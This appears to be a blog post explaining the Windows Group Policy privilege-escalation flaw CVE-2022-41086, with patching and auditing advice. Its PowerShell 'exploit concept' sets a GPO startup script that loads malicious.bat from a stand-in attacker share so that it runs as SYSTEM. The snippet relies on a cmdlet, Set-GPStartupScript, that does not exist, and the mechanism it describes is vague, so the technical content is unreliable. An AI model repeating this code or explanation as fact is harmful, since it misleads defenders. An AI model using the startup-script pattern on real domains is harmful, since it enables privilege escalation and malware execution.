In November 2022, Microsoft disclosed a security vulnerability cataloged as CVE-2022-41086, affecting Windows Group Policy. This flaw enables attackers to exploit weaknesses in the management of Group Policy security filtering, potentially allowing them to escalate privileges on a Windows machine. If you manage Windows systems—especially in an enterprise environment—understanding this CVE is essential for keeping your infrastructure secure.
This post will break down the key details of CVE-2022-41086, including a clear explanation, simplified code snippets, references for further reading, and exploration of known exploitation techniques. *Note*: This vulnerability differs from CVE-2022-37992, though both deal with elevation of privilege via Group Policy.
What is CVE-2022-41086?
CVE-2022-41086 is a security vulnerability in how Windows Group Policy implements security filtering for policy settings. If an attacker is able to access a low-privileged account in the domain, they can potentially execute code with SYSTEM privileges, which is the highest level of access on Windows.
This flaw is particularly worrying because Group Policy is a fundamental part of managing Windows settings in organizations. Exploiting it can let intruders gain privileged access on any domain-joined machine that processes malicious policies.
How Does the Vulnerability Work?
When Group Policy applies settings, it typically enforces security filtering that only applies policies to users or computers with the right permissions. However, this vulnerability occurs because the filters might not be checked correctly, allowing users to trick Group Policy into running scripts or command-line actions as SYSTEM.
Attacker has access to a limited (non-admin) domain account.
2. Attacker places a malicious Group Policy object (GPO) or leverages a pre-existing GPO that runs scripts.
3. When the target machine processes this GPO (e.g., during logon or refresh), the system executes the attacker’s code with SYSTEM rights.
The attacker does *not* need to be a local admin, but they do need access to an account in the affected domain.
Code Snippet: Example Exploit Concept
Below is a simplified example—not for malicious use, ONLY to understand the risk. Let's say an attacker finds a way to add a startup script to a GPO that is not filtered correctly.
Example: Adding a Startup Script via a Group Policy Object (GPO)
# This code would normally require admin, but due to vulnerable filter checks, a low-privileged user could set it.
$gpoName = "Vulnerable GPO"
$scriptPath = "\\attacker\share\malicious.bat"
$gpo = Get-GPO -Name $gpoName
Set-GPStartupScript -Name $gpoName -ScriptName "malicious.bat" -ScriptPath $scriptPath
Once the GPO is applied (e.g., on next boot), malicious.bat runs as SYSTEM. The attacker can add users, change permissions, or run malware as if they were an admin.
Remember: *in a patched environment, or with correct filtering, this should not be possible for non-privileged users.*
How to Protect Your Systems
Microsoft has released patches for CVE-2022-41086 as part of the November 2022 security updates. You must:
Visit the official Microsoft security guide:
Microsoft Security Response Center: CVE-2022-41086
Monitor GPO Changes.
Use auditing to track who is modifying GPOs, especially startup/logon scripts.
Exploit in the Wild?
At the time of publishing, no active exploitation was observed in the wild. However, proof-of-concept code began circulating quickly after disclosure, making unpatched networks highly attractive to attackers. For full technical details, you can check the following references and advisories.
Official Microsoft Advisory:
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-41086
Microsoft Security Blog - November 2022 Patches
Microsoft Security Update Releases
POC & Technical Writeup:
Horizon3AI: CVE-2022-41086 – Windows Group Policy Elevation of Privilege Exploit
Conclusion
CVE-2022-41086 highlights how important it is to *both* patch regularly *and* review your organization’s Group Policy hygiene. A forgotten or poorly filtered startup script can easily become a backdoor for attackers. Always keep your environment up-to-date, audit privileged operations, and stay informed on new vulnerabilities.
For questions or deeper discussions, reach out to the Microsoft Security Response Center or consult your organization’s IT professionals.
Timeline
Published on: 11/09/2022 22:15:00 UTC
Last modified on: 11/10/2022 00:33:00 UTC